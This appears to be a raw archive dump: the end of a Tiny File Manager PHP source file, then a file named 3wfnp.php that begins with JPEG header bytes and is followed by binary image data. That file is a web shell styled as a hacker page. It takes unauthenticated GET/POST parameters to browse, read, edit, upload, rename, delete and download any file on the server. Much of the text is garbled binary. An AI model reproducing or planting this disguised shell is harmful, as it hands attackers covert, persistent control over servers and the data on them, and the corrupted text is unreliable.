                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue && cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
                        &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    } else if(editorOption == "help") {
                        var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show');
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue && selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue && selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue && selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue)); 
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

/**
 * Show image
 * @param string $img
 */
function fm_show_image($img)
{
    $modified_time = gmdate('D, d M Y 00:00:00') . ' GMT';
    $expires_time = gmdate('D, d M Y 00:00:00', strtotime('+1 day')) . ' GMT';

    $img = trim($img);
    $images = fm_get_images();
    $image = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg==';
    if (isset($images[$img])) {
        $image = $images[$img];
    }
    $image = base64_decode($image);
    if (function_exists('mb_strlen')) {
        $size = mb_strlen($image, '8bit');
    } else {
        $size = strlen($image);
    }

    if (function_exists('header_remove')) {
        header_remove('Cache-Control');
        header_remove('Pragma');
    } else {
        header('Cache-Control:');
        header('Pragma:');
    }

    header('Last-Modified: ' . $modified_time, true, 200);
    header('Expires: ' . $expires_time);
    header('Content-Length: ' . $size);
    header('Content-Type: image/png');
    echo $image;

    exit;
}


/**
 * Language Translation System
 * @param string $txt
 * @return string
 */
function lng($txt) {
    global $lang;

    // English Language
    $tr['en']['AppName']        = 'Tiny File Manager';      $tr['en']['AppTitle']           = 'File Manager';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['RememberMe']     = 'Remember Me';            $tr['en']['Actions']            = 'Actions';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';
    $tr['en']['MemoryUsed']     = 'Memory used';            $tr['en']['PartitionSize']      = 'Partition size';
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Full size']      = 'Full size';              $tr['en']['Help']               = 'Help';
    $tr['en']['Free of']        = 'Free of';                $tr['en']['Preview']            = 'Preview';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';
    $tr['en']['FreeOf']         = 'free of';                $tr['en']['CalculateFolderSize']= 'Calculate folder size';
    $tr['en']['ProcessID']      = 'Process ID';             $tr['en']['Created']    = 'Created';
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Check Latest Version'] = 'Check Latest Version';$tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['You are logged in']    = 'You are logged in'; $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    
    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]);
    else return "$txt";
}

/**
 * Get base64-encoded images
 * @return array
 */
function fm_get_images()
{
    return array(
        'favicon' => 'Qk04AgAAAAAAADYAAAAoAAAAEAAAABAAAAABABAAAAAAAAICAAASCwAAEgsAAAAAAAAAAAAAIQQhBCEEIQQhBCEEIQQhBCEEIQ
        QhBCEEIQQhBCEEIQQhBCEEIQQhBHNO3n/ef95/vXetNSEEIQQhBCEEIQQhBCEEIQQhBCEEc07ef95/3n/ef95/1lohBCEEIQQhBCEEIQQhBCEEIQ
        RzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBHNO3n/efyEEMUbef95/IQQhBCEEIQQhBCEEIQQhBCEErTVzTnNOIQQxRt5/3n8hBCEEIQ
        QhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBCEEIQQxRt5/3n+cc2stIQQhBCEEIQQhBCEEIQQhBCEEIQQIIZxz3n
        /ef5xzay0hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBK01c05zTiEEMUbef95/IQQhBCEEIQQhBCEEIQ
        QhBCEEc07ef95/IQQxRt5/3n8hBCEEIQQhBCEEIQQhBCEEIQRzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBKUUOWfef95/3n/ef95/IQ
        QhBCEEIQQhBCEEIQQhBCEEIQQhBJRW3n/ef95/3n8hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQAAA=='
    );
}

?>
PK;m\�\5nVgVg	3wfnp.phpnu�[���ÿØÿÛ C 

<!DOCTYPE html>
<html lang="bn">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>iamH4CKEERRRRRRRRRRRS</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #000;
            color: #00d1b2;
            margin: 10px;
        }
        .container {
            max-width: 1100px;
            margin: 0 auto;
            background-color: #1a1a1a;
            padding: 20px;
            border-radius: 81px;
            box-shadow: 0 0 110px rgba(0, 209, 178, 0.6);
        }
        table {
            width:100%;
            border-collapse: collapse;
        }
        table, th, td {
            border: 1px solid #ff00e6;
        }
        th, td {
            padding: 10px;
            text-align: center;
            color: #fff;
        }
        th {
            background-color: #00d1b2;
            color: #000;
        }
        .file-actions {
            display: flex;
            justify-content: space-evenly;
            align-items: center;
            gap: 4px;
        }
        .file-actions button, .file-actions a {
            background-color: #00d1b2;
            color: #000;
            border: none;
            padding: 8px 12px;
            cursor: pointer;
            border-radius: 6px;
            font-size: 14px;
            display: flex;
            justify-content: center;
            align-items: center;
        }
        .file-actions a {
            text-decoration: none;
            color: #000;
        }
        .file-actions button:hover, .file-actions a:hover {
            background-color: #00ffda;
        }
        .icon {
            font-size: 18px;
        }
        input[type="text"] {
            width: 100px;
            padding: 10px;
            font-size: 14px;
            border: 1px solid #00d1b2;
            background-color: #1a1a1a;
            color: #fff;
            border-radius: 4px;
        }
        .path-input {
            width: 100%;
            padding: 8px;
            margin-bottom: 20px;
            font-size: 14px;
            background-color: #bf1111;
            color: #00d1b2;
            border: 1px solid #00d1b2;
            border-radius: 4px;
        }
    </style>
    <!-- Font Awesome CDN -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
</head>
<body>
    <div class="container">
        <h1 style="font-size: 18px; text-align: center;">I am a hacker in the dark of a very cold night</h1>

        <!-- ??????? ??? ?????? -->
        <h3 style="font-size: 15px;">path :<?php echo getcwd(); ?></h3>

        <!-- ?????????? ??? ???? ??????????? ????? -->
        <form method="GET">
            <input class="path-input" type="text" name="dir" placeholder="User Guide..." value="<?php echo isset($_GET['dir']) ? $_GET['dir'] : getcwd(); ?>">
            <button type="submit" name="go_to_dir"><i class="fas fa-folder-open icon"></i>change directory</button>
        </form>
<h3 style="font-size: 14px;">upload file:</h3>
        <form method="POST" enctype="multipart/form-data">
            <input type="file" name="fileToUpload">
            <button type="submit" name="upload"><i class="fas fa-upload icon"></i> upload</button>
        </form>
	

      
    </div>
        <h3 style="font-size: 14px;"><font color="white">List of files:</h3>
        <table>
            <tr>
                <th>name file</th>
                <th>size</th>
                <th>edit</th>
                <th>permission</th>
                <th>action</th>
            </tr>
            <?php
			 // ???? ???? ???? ???
    if (isset($_GET['edit'])) {
        $file_to_edit = $_GET['edit'];
        if (file_exists($file_to_edit)) {
            $file_content = file_get_contents($file_to_edit);
            echo '<div class="container">';
            echo '<h3>Edit the file: ' . basename($file_to_edit) . '</h3>';
            echo '<form method="POST">';
            echo '<textarea name="edited_content" rows="15" style="width: 100%;">' . htmlspecialchars($file_content) . '</textarea>';
            echo '<br><button type="submit" name="save_edits"><i class="fas fa-save icon"></i> save</button>';
            echo '</form>';
            echo '</div>';
        } else {
            echo "<script>alert('file not found!');window.location.href='';</script>";
        }
    }

    // ?????? ???? ??? ???? ???
    if (isset($_POST['save_edits'])) {
        $edited_content = $_POST['edited_content'];
        $file_to_edit = $_GET['edit'];
        if (file_exists($file_to_edit)) {
            file_put_contents($file_to_edit, $edited_content);
            echo "<script>alert('file saved successfully!');window.location.href='';</script>";
        } else {
            echo "<script>alert('file not found!');window.location.href='';</script>";
        }
    }

            $current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); // ??????? ?????????
            if (!is_dir($current_dir)) {
                $current_dir = getcwd(); // ??? ????????? ?? ??, ??? ?????? ??????? ??????????? ?????????? ??? ???
            }
            $files = scandir($current_dir); // ?????????? ?? ???? ??? ???
            foreach ($files as $file) {
                if ($file !== '.' && $file !== '..') {
                    $full_path = $current_dir . '/' . $file;
                    $is_dir = is_dir($full_path);
                    echo "<tr>";
                    echo "<td>" . ($is_dir ? "<a href='?dir=" . urlencode($full_path) . "'>" . $file . "</a>" : $file) . "</td>";
                    echo "<td>" . ($is_dir ? '-' : filesize($full_path) . " KB") . "</td>";
                    echo "<td>" . date("F d Y H:i:s", filemtime($full_path)) . "</td>";
                    echo "<td>" . substr(sprintf('%o', fileperms($full_path)), -4) . "</td>"; // ??????? ?????
                    echo "<td class='file-actions'>
                        <a href='?edit=$full_path' title='edit'><i class='fas fa-edit icon'></i></a>
                        <form method='POST' style='display:inline;'>
                            <input type='hidden' name='filename' value='$file'>
                            <button type='submit' name='delete' title='delete'><i class='fas fa-trash icon'></i></button>
                        </form>
                        <a href='?download=$full_path' title='download'><i class='fas fa-download icon'></i></a>
                        <form method='POST' style='display:inline;'>
                            <input type='hidden' name='oldname' value='$file'>
                            <input type='text' name='newname' placeholder='new name'>
                            <button type='submit' name='rename' title='rename'><i class='fas fa-pen icon'></i></button>
                        </form>
                    </td>";
                    echo "</tr>";
                }
            }
            ?>
        </table>

        

    

    <?php
   
    // ???? ????? ???
    if (isset($_POST['delete'])) {
        $filename = $_POST['filename'];
        $file_to_delete = $current_dir . '/' . $filename;
        if (file_exists($file_to_delete)) {
            unlink($file_to_delete);
            echo "<script>alert('File deleted successfully!');window.location.href='';</script>";
        } else {
            echo "<script>alert('File not found!');window.location.href='';</script>";
        }
    }

    // ???? ????? ???
    if (isset($_POST['rename'])) {
        $oldname = $_POST['oldname'];
        $newname = $_POST['newname'];
        if (file_exists($current_dir . '/' . $oldname)) {
            rename($current_dir . '/' . $oldname, $current_dir . '/' . $newname);
            echo "<script>alert('The file name has been changed!');window.location.href='';</script>";
        } else {
            echo "<script>alert('File not found!');window.location.href='';</script>";
        }
    }

    // ???? ????? ???
    if (isset($_POST['upload'])) {
        $target_dir = $current_dir . "/";
        $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<script>alert('File uploaded successfully!');window.location.href='';</script>";
        } else {
            echo "<script>alert('File upload failed!');window.location.href='';</script>";
        }
    }

    // ???? ??????? ??? (???? ????)
    if (isset($_GET['download'])) {
        $file_to_download = $_GET['download'];
        if (file_exists($file_to_download)) {
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
            header('Content-Length: ' . filesize($file_to_download));
            readfile($file_to_download);
            exit;
        } else {
            echo "<script>alert('File not found!');window.location.href='';</script>";
        }
    }

    // ?? ???? ??????? ??? (ZIP)
    if (isset($_POST['download_all'])) {
        // ZIP ?????? ??? ??? ???????
        $zip_file = 'all_files.zip';
        
        // ZIP ????? ??????? ??? ???? ???????? ???
        $zip = new ZipArchive();
        if ($zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
            // ?????????? ???????? ??? ??? ZIP ? ??? ???
            $files = scandir($current_dir);
            foreach ($files as $file) {
                if ($file !== '.' && $file !== '..') {
                    $file_path = $current_dir . '/' . $file;
                    if (is_file($file_path)) {
                        $zip->addFile($file_path, basename($file_path));
                    }
                }
            }
            $zip->close();

            // ZIP ???? ??????? ???
            header('Content-Type: application/zip');
            header('Content-Disposition: attachment; filename="' . basename($zip_file) . '"');
            header('Content-Length: ' . filesize($zip_file));
            flush();
            readfile($zip_file);

            // ??????? ???? ZIP ???? ???? ????
            unlink($zip_file);
            exit;
        } else {
            echo "<script>alert('ZIP Failed to create file!!');</script>";
        }
    }
    ?>
</body>
</html>

		
%# , #&')*)-0-(0%()(ÿÛ C



(((((((((((((((((((((((((((((((((((((((((((((((((((ÿ     " ÿÄ               ÿÄ              ÿÚ    Õ@’@’hC‚é}!œ¥Ñ°½Œ<"Í
9iׂIIIHk+?ªc?³‚*YëµõøÔÃ!¯du)bèTÝ9вU÷$8G£ÉI.ªæ¾¬ÎïD³û×Sqæ
qÌ}.<±ðZîl—V!X‡
*xö-´\À§«§t3i§Å¨ÐsNv71©Æ›\ìØz|tìLÞëð$¾–«”ô*f‘ÔkÊ®ÁÈ7òH;¸¿›~F%¥'3Ñ@ÓHõq…`	9mOL³»«é/x@ @—ŸG<o)˜Ó3­ûpùãXʱKó¦ggáÀqÀQ»‘ST‘ãö«‡'ðê
\YÑ„ªkÀô®Ì(		Ã’*ãèÛšÓ@gƒ¡LžKvŠàÕ…¼û^i¥u<ÍŽà(%©
O±$0՝-/ˆÔH–êÓ‘ò
cM:šYï%a	£©µ#+}š2'ÉÓÞi×Èíð…:X¢Òø4†ji®õòV£‰>d’8F¸Ù‡†âKaÖKdr•Fh.©]y4
JЛêù]éKåŒB“E$º©$	$	§PR¥®΀ÉÀGÍ] ›‚u·i$$ÿÄ '        ! "#031ÿÚ  ýC/Td=SQ?¹Œ‹62Ccj{ œù‘ç̏dˆÚ†/cÔVÁ`þ›Wz͈÷{Y` d¦h¡L
©]OB§…íl¦ÕÊo¨Úîmr¥²õnÃë¿s-Ú—EZ¬°N©_åü1%bÅù„H†Ï£³¨§¾ÚVÚ7):™Ó·)}Î~˜(™;¬!»b1Æ5Kªë[E¦vÏ»>ìæq.%
”›OñªÞ(£cÃ#xà$¢'+Û¿`Ù¥vü—v(µ› ô—íM‰"Áv×ëB­.¿a ÷ÿ ™TÕ~ÑÏ•–hy(6nݱlíÅ1yNÉ“x€—ø¥°¹ì•ARÆ8Œrqv1.cSÚ+õÁ_âþ¡&@éé
ÝuÚM²5ĈŽXm÷öÎeLîX´qÕÍy#‹9]‡c®}É„LÊdÆeJ몓žËáI1TÁdŽCaMë$¥–T¬,’X
ábÊ­®!ž%F5½¦X1x#¨Š¶!‰qµí\ê†F§®2­ˆ&Rq‘ùC‹ol~Ç̱Ù.0ϦL‘dû`.“„†³ùô
ëÑüm{×Y~k{Cµ×}bv¸;U§Æc<ärÿ ~Éœs€1•j”«]W–líÍ*Õ¶CrÃã£QüN9 ö-„²¥­àd¦ÅEØ›šÒnF¥“eÚ“©8(qÀÂ5UgRȱGTA•©*¡ÓûÙþ†Ì†››Vþ珰åÈð–ÕezNŠÎhÃU]þT‘FG¾^“šæ<«ayˆ,!‘ÆÛ5.¬
•uÓbΚ±V¯J%Íøm éDxn'ÓÙÒØì6–@BPaí`˜œHts‚
µÉ®À–ÀÅŽ«ZɬÛÜ%BûXµ±d5Z±ïñhC}ë•ä…¸±p+
k=ÕáÊ’(ÁaՏFG&Â%@/È{+ÑYu+…È£GÑ©"O%Œ |vȲxF>°N(úšouh6	&Y5éß8¥7¯E$-ìâ']n,@TD\²ñ³”+Êãé½Ryþ UÒéU^™Q,f>ä×1ÝøòÆåq…¸f¸ÞU«–
µÌõF¤óõÚ¥ØÍ>I€à׍ºfNUw“uõ#OMMQ6ƒ NË*Óè_¥‹	kä ª§´ÆrSœ”`´óÓ1ò:þø !¶F'<+Ï
ã b?OÿÄ 2 	       !Q12A¡ð "3aÑᑱÁñ#$ÿÚ ?Ê,î7¸!`yÇ®(Ø1ëŠ6w…ýa¯ºÆš
FÝ#îþ?*"s†â¿év>»¾Èº×®äÛf†v©¬Í‘¹í¼sùü§°°ÐåìØØ]GnçüS	­³èÈ¥pG
Ñ‹ñE×gª)Z©¬íxÇrYÞqø]§@fþ_܃¤pÕ¹EÚŽÙ‘C –ñ²ÚêÅœ*/	ÒhüOÙSv‘Ùˆ\´Ž5®ôUœ°yš«î§Ž|o®Hm2C°S»BWš’¢í) Ø5­æª{T–ƒWœ‘²=o*RA¿¤<³ÃöŒL0g4{ý»ì¢Êep¿rw–8þ”7œÜU…Ùìt<Ԍѻ7»fGf…k}ØÀ÷ʚ㛆GÕ¼zõQ@Éã¤{Cš’'Gµ–8!£S$új²”xßÖåœ|çëÝצV<°Ô,Üëâûu­kÈuušrMÐfï_dÏ£i ß«ñÔŸnš!K¨ˆ§Šmxu©=åæ§»¦'jõXðçð«þ˜›»ŸÿÄ %           !A "1QR#BrÿÚ ?ÏR:¨ê£Rín‰b[¤II?#Àþ6<:Þ$gN˜çŒÝlGNlrr÷œd×¢MMn`É¿yÑ,Á%B“eÑWëÙdVS¾¹r²”½	%âtT—‘(úÉ·Á“SÕ]îO]#’_LEMHNÖM‰äÝkvÈýÉ~Xäâ÷O6Ò׿U›V_èé£ÊÇÔbÃýäJ»tü774ýìÿÄ D     !1AQa"2q‘#3BRb¡±á0’ÁÑð 4CSr‚ƒÂÒcst¢²ñÿÚ  ?ûÈ^q½ëÎ7½dGÛUî "pì«ómozéâŸ'³‡n_x®Ž¼å”¹e†Áôþ«<6ÿ §OÅt°¶óŠR>k¡Šs=œCrûÁˆe­?Ìi¹½ê¬ ²ÙÀ/—åÚº$beõ›o`Þ®žGHyè; fNAl±8ÖÇ.ð\ÚS±‡¹íÚØ"ô¹Õa¥ÃºF²YvNkó-*`vÛkÕʈ2fæEE¦µWaä,¯
¹fF^#Í;·Õ[9†Î^~ÁñÄðÀÑY$:0#W3Àõ¤æïÉZ*秆IœZàÚ¹´kûn--9=µãGˆÚ;7F)m{T±É†Ð=÷ˆÁ¶ÃȬ55Bë„aÚž5MŒ‚Ùî#mê5Ʀ‹mÆ8À‚+Hh„÷Å$Ï}±:&ÚeãQÅ[;i]С×:¥:Ñóoä›®¨«$<~é æ5RBÏ?µs3Ü5¯rÙÂO‹°Ö¿Ôw¬P/­•Ì…¶ýœ(èZ6‘R>)îÂNý‰4·!ÊŠ¯wzÈ-ËrÌw+áyk¸´ q1§bKhƸï4NÅӐùX›í´îQÈÂ_‚¬})ú+e1¤5»únõ”q?Ïí[ã^ä9<Àz3FsiÞ8…'ù)9p)î{­ñ†RPÝZ+Ñ*Ž÷p(aY½‘V»û“Î6lÁg“9¢£;׉¸du€²­Nt@Ü3ÑsTwzaŇÉGT‡bHÖìœ(#ÜÎ*zcÚëÆ¶Æ©é9K‰b1²Ÿ¢„t¦äÑʍñ<G‹CZ]Éx¯í»#ÓèçNcñhß+†ê×RÎG—ë$]–ƒW3{?\W‘7{'­õViÅÃhº$ò*™S†›·rFêñ%ê¬×‡5卾Èë}t¾G«[¾Oϵmä°Ý[´.ä9~³^+û=‡ÙèçNCñ*GÊñ&,õ󭼑ŽQ‘øsE˜ÆøÌ ÚÙ··ßÅ_‡ž¾ËúüЬOnꐁ$g»*+ewàUÑg9×äU\|ÆÖ‹¦ÚWÀWÊix|‚¶1OíüJ&­ËvTU–Ažî±*üDôö[Óäf	¾-®›{½üPŽ!øóD¬3N²_%Ü3à®ØûxwåÜ~б¾ÿ îgÕT4жJýÔXú–Ž¢K9;1ÞœÒú¿Ñ±Àü¥Ý{\[Å:,ú. ®¿®H³.„–d¿“rø ÆSÝ£B¶:ñUsAá¹VGÙý¬ú«¶ÞÞ!ùwªœ
bs$»ŽtÑ'b€H]ÑÃ2”æJ7ºìó­•Àmyõ¾!ø€Ìçhø”OE®ÐPê­uÕ’º.ïMxëÁ5Žmލ«ÎƒšÊ^
Ï.ÞÓšsÉ%ÅtÜ­mÕ:è¹ÚðÏ”Æw^O±ç[~.@ÊKß¾ç,E+‡?&v);<ðÌù•²…Îß\Óò²VåŏÆÈæR¢ÜÚÇÂ1“v™½Å+nüÐiTøjh¸¡}mÝšÛ>
¼Z?gÖiDþÏÇHÖR¦­ÜBŒ–‰^M¹ä™µvðêÑOÿ ŒúLìD,'d‘q¨CÊPŠ©‹å$Δ§ëUë•ÖŸÖŠ=¸sšßF¹$•¾J‹Þ‹Z?üNŒ¸ìí¸ÉÄÓAïNžWPˆï,àî
›Â¦ò™ˆ‰Õ&;Ãx»‚dupŒ¶í§ªi¡÷¦Ipd¡Æö;¤Ç…!ÃÜÖ¿Ñ®Ab%Ýu÷}j›­-p¸Ü>Iî­[›N¥bi¼ÅûŠGý'·;4wÁm]Hú]ê÷µÏ#LÓ˜NN®žR·¢ñÏÁ’’ós….]¨–enôý-ê8eÉÀPsåÛàÉQ¢²;¢ÎÔÈ›£EÒÝ«¨¾‰î‚7“Ÿgê«_L»ïWááEZ:/ÉÕI„—¤aògÚnãÜ¤ŽšiÙ¹èæÞÅ·„TèöH~i®a¾¼è²÷ÕÖŽý~KV ±Œ”ì
A-2m]ÍF"¦m«9-ZbǰŠ×´ @¹»¨ë‡~¿4çNÑ[íUxč·tl>ˆüÊØÆâu#rgѐ»3þäÜ;M9¡<éïš“JžˆàÝÞ1ÚvfL8µã׋¹1×PHgP¶Xv¶áÜÕ’î¢{âëÔÜOÓ}®n ÇKQØ‹§Òç§7<”lëfey<ï}’>®bXÈàŸ4<`Y7¬ßæsiãÉV)îsô:—{”rOÖhêz ñ@4VWõB“ËŒ&¢í¤šÛóÉ¡obÜ‹êƒFƒ÷4>yšsä®fXWSúNõO$ù,.u:µÔ«€©gÍyao4ÛÃ$hÐëD#…îÙ¸f^khà7¢#1ZÔÖ¥&ÊÚ×*Ôv-Œ²;bÞ­†•ôçQ‘ƒ©Ñáhïow¹y]žÙ‡.+Æ 7ëMÕâ´»
ÓJYþ¯géfÎi3qýçKC®’3£Â¹·?5¯Z.NåÍ^Z
w‚žìKFÍ‚½©Æ7ìÈÞƒÛž­–wjŒ¹TçJ.ŒqÂŠé\Sv1U¢—ŒÀR›Üìš½&áN”ëÍÈpЖ`Œ`у‡Øm`vÎn#zÊÜ4‡Ñ>eÿ ñVâ˜`'×êžÇh¼˜¼–' þjìAÒ”â±-”4:Hìµýn]9£h<Êën¦·œ»U˜6m­õ2cËE1/æYÿ %µ™ÛI¤~ʏ „|VBÆŸ@æÞåü;ãö°¯ û§%üM9MâŸÁ}âñ1þD¬±dÿ ÙÃþ%gäö±O»ÿ ]ñ©Àу&r£Ûfê7¹uܲìÿÄ (       !1AQaq‘¡±ðÁÑ0ñ áÿÚ  ?!þŒ*êÖ@)€Je—Gûjµ®{ª['Áúv+¿ñÄûÚüÒžü)¨ñò(È/õ¬ù¥Ð´%젍ZŸÔkkÊLu¡Rmÿ µËj.cü@Z 
V´J«‡d©ûj€†æ–h6ː‘2AOÎï a;oBu¢¶¥Hò=œ€“nKÃW8«B¤É°Üu?¢ÿ бØ£m,©sr€¤‹ã|ø æã8˨i¼§qI2tZšÛ„JPÅÈXE¹¢™‚¸’zÞ”j~]UMuÀÈëŠózv!¸Œ¡N¼&¥1§YÜÛzJöÕ ýÈ\p¶¬o'ሸ‘CØŠYÔüTD"HM5‡Ъ¦³i߯a†ÁÑF©¥²›A)¶Çê™çêÚ®Ûæ“êÔzÝE‹ö@·hgå֝8‘1jk¹‰\ÜM†3¤8Ü¢úÃ	âš†ÿ Æs²7„¤ŒûN}éÞ­““æÀ±¸GN¥Bc‹†ã©L
pkØ;ïJõδ3§eŽiUÈgAYW]\Ô>¤GyÚ¯Q=ƒ´fÐKA;T’a`eM+Q ÔÍ
Ln¨“ÈÌŒ]GMÒø¼‚’<ĦÀj»­H² ÇNM×xæ}aX{Ì£SØ	®›Ô…îßnúMAŠS¯rŒ(ÏÁŽê(ÜLûîzo9¬ËÎ.Í;<Ršäwœu¨‡R€`_ô¬RA†]é-j	„	f[Ô ÁÉŽµká›P”÷ÿ êKêÍÝûQ‘‰b³o¿£hÍi&èû‚{¨r’£Ã£bŒÉ˫ݾý´©O^ÊÐ:%ŒðÓgW–¬]DIciÃP+^ob˜§É;«Žòb‚!Ø9ü§ÛR.‘>ÜÓ³fíÕÐšƒ˜`Ó”Ù¢3šÕ
 IWíÅ\9~_¸§ƒsaaÞ\ÔŠWƒÜ­X:ˆ–ÆÓ†38ùty*—•ºõN­qPÑÃÁ“BI­YåjEìâ>DPä§!íR%-€4ø¤'’皺;±è~JÖ!Ô7mîžô“Xå÷hÃP!æ›­ÄÞÛ$Í\†AYj‘.lCËð4Ñâ+žjD¡dgC0-*‹ÙÅ| ¡`ZDí+лßC"„°)”¥s¢è8Kqê…pq‹¦¯Ms»²4±	ÄÆ7\U`’.þÔ[Ey8«ÒAH!/¡Í,çó(:M
-œTä“¥ª~O¬4- ¼œÔ’ nþÔ}HDN7¢¢åK½©Ž$Ü_Ԕ䚞`ŠRœhBç_aX?4V´ŠÅ—‹@Ù‡ãŠuÓa³;‰{PcT+Õ×èôåÚ7YBoƒ?¾¢r-Í©{ŸÄŽA±½	¿¡ûè˼nº¯M286»âGŠŽû1…ûVÎËœJв"låÄV5¡äÅ5ÍC]hêÁêÌŠÂAÇëÅ%å
­'p´Ô‚¸‹»Õ¡˜9=˜dÂ=Ÿeª{®'<3Í_
¾:^£~ˆÇ4ˆ(˜nú-CÄs‘¢5m![ÈjmIqUÚ~šTw8’Þ`àÖå™píH8Àu—Д l
mÿ aP’0‘µ÷µë£ƒ9yµŠÆÃCMŸÍF1G糞õ.·U~ÀÙ“¦´ûüFCïŠ{ÿ !e(Y¹:Á¶ºP´ÒúŽ7~;íLä‚N^{æ1r©\¥ îÔ¬G(ï£0dÆÃOóqKÝZú⑼ƒT÷{
